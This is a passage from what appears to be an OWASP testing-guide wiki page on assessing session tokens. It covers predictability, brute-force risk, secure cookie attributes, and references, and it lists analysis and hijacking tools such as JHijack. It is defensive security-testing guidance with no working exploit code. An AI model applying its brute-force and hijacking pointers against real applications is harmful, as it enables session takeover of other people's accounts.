ID – hexadecimal<br />
CR – small integer<br />
TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)<br />
S – alphanumeric<br />
</pre><br />
<br />
<br />
Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:<br />
<br />
<pre><br />
0123456789abcdef<br />
</pre><br />
<br />
<br />
===Brute Force Attacks===<br />
Brute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.<br />
<br />
<br />
A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.<br />
* How long would a brute-force attack on all possible Session IDs take? <br />
* Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?<br />
* Do delays between connection attempts with different Session IDs mitigate the risk of this attack?<br />
<br />
<br />
== Gray Box testing and example == <br />
If the tester has access to the session management schema implementation, they can check for the following:<br />
* Random Session Token<br />
The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).<br />
* Token length<br />
Session ID will be at least 50 characters length.<br />
* Session Time-out<br />
Session token should have a defined time-out (it depends on the criticality of the application managed data)<br />
* Cookie configuration:<br />
** non-persistent: only RAM memory<br />
** secure (set only on HTTPS channel): Set Cookie: cookie=data; path=/; domain=.aaa.it; secure<br />
** [[HTTPOnly]] (not readable by a script): Set Cookie: cookie=data; path=/; domain=.aaa.it; [[HTTPOnly]]<br />
<br />
<br />
More information here: [[Testing_for_cookies_attributes (OWASP-SM-002)|Testing for cookies attributes]]<br />
<br />
<br />
==References==<br />
'''Whitepapers'''<br><br />
* RFC 2965 “HTTP State Management Mechanism”<br />
* RFC 1750 “Randomness Recommendations for Security”<br />
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis" (2001): http://lcamtuf.coredump.cx/oldtcp/tcpseq.html<br />
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later" (2002): http://lcamtuf.coredump.cx/newtcp/<br />
* Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html<br />
* Darrin Barrall: "Automated Cookie Analysis" – http://www.spidynamics.com/assets/documents/SPIcookies.pdf<br />
* ENT: http://fourmilab.ch/random/<br />
* http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html<br />
* Gunter Ollmann: "Web Based Session Management" - http://www.technicalinfo.net<br />
* Matteo Meucci:"MMS Spoofing" - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt <br />
<br />
<br><br />
'''Tools'''<br><br />
* OWASP Zed Attack Proxy Project (ZAP) - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project - features a session token analysis mechanism.<br />
* Burp Sequencer - http://www.portswigger.net/suite/sequencer.html<br />
* Foundstone CookieDigger - http://www.mcafee.com/us/downloads/free-tools/cookiedigger.aspx<br />
* JHijack - http://downloads.sourceforge.net/project/jhijack/jhijack/latest/JHijack0.2-beta.zip<br />
<br />
<br><br />
'''Videos'''<br><br />
* Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/</div>D0ubl3 h3lix